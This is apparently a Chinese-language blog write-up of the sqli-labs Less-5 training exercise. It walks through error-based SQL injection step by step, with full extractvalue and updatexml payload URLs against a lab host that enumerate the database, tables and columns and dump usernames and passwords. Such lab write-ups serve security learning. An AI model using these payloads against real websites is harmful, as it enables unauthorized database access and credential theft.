报错注入_sqli-labs less5 Double Query- Single Quotes- String

sqli-labs less5 Double Query- Single Quotes- String

?id=1
报错注入_sqli-labs less5 Double Query- Single Quotes- String_第1张图片
无回显

考虑报错注入

(1)判断字符型还是数字型

http://39.101.162.123:10067/Less-5/?id=1%27%20and%201=%201–+
报错注入_sqli-labs less5 Double Query- Single Quotes- String_第2张图片

http://39.101.162.123:10067/Less-5/?id=1%27%20and%201=%202–+

报错注入_sqli-labs less5 Double Query- Single Quotes- String_第3张图片

字符型而且是单引号闭合

(2)判断字段个数:

http://39.101.162.123:10067/Less-5/?id=1%27%20order%20by%201,2,3,4–+

报错注入_sqli-labs less5 Double Query- Single Quotes- String_第4张图片

所以是3个字段

(3)尝试报错注入

http://39.101.162.123:10067/Less-5/?id=1’ or extractvalue(1,concat(0x7e,(select version()))) --+

报错注入_sqli-labs less5 Double Query- Single Quotes- String_第5张图片

(4)爆库名:
http://39.101.162.123:10067/Less-5/?id=1’ or extractvalue(1,concat(0x7e,(select database()))) --+

报错注入_sqli-labs less5 Double Query- Single Quotes- String_第6张图片

XPATH syntax error: ‘~security’

(5)爆表名:
http://39.101.162.123:10067/Less-5/?id=1’ or extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1))) --+

这里特别注意,一定要加limit 0,1 因为报错的信息不止一行,无法回显多行数据

报错注入_sqli-labs less5 Double Query- Single Quotes- String_第7张图片

XPATH syntax error: ‘~emails’

查询剩下的表:
http://39.101.162.123:10067/Less-5/?id=1’ or extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1))) --+

报错注入_sqli-labs less5 Double Query- Single Quotes- String_第8张图片

http://39.101.162.123:10067/Less-5/?id=1’ or extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 2,1))) --+

报错注入_sqli-labs less5 Double Query- Single Quotes- String_第9张图片

http://39.101.162.123:10067/Less-5/?id=1’ or extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1))) --+

报错注入_sqli-labs less5 Double Query- Single Quotes- String_第10张图片

http://39.101.162.123:10067/Less-5/?id=1’ or extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 4,1))) --+

报错注入_sqli-labs less5 Double Query- Single Quotes- String_第11张图片

所以一共4个表。

下面对users表进行字段名的查询:

(6)爆字段名:

http://39.101.162.123:10067/Less-5/?id=1’ or extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1))) --+

XPATH syntax error: '~id’

http://39.101.162.123:10067/Less-5/?id=1’ or extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 1,1))) --+

XPATH syntax error: '~username’

http://39.101.162.123:10067/Less-5/?id=1’ or extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 2,1))) --+

XPATH syntax error: '~password’

三个字段全部爆完:id,username,password

(7)爆数据:

这里就不繁琐的爆了,简单就爆第一个数据

http://39.101.162.123:10067/Less-5/?id=1’or updatexml(1,concat(0x7e,(select group_concat(id,0x3a,username,0x3a,password) from users )),0)or’ --+

这里就爆了第一个数据和部分第二个数据:

报错注入_sqli-labs less5 Double Query- Single Quotes- String_第12张图片

XPATH syntax error: ‘~1:Dumb:Dumb,2:Angelina:I-kill-y’

你可能感兴趣的:(网络安全,sqli,sql注入)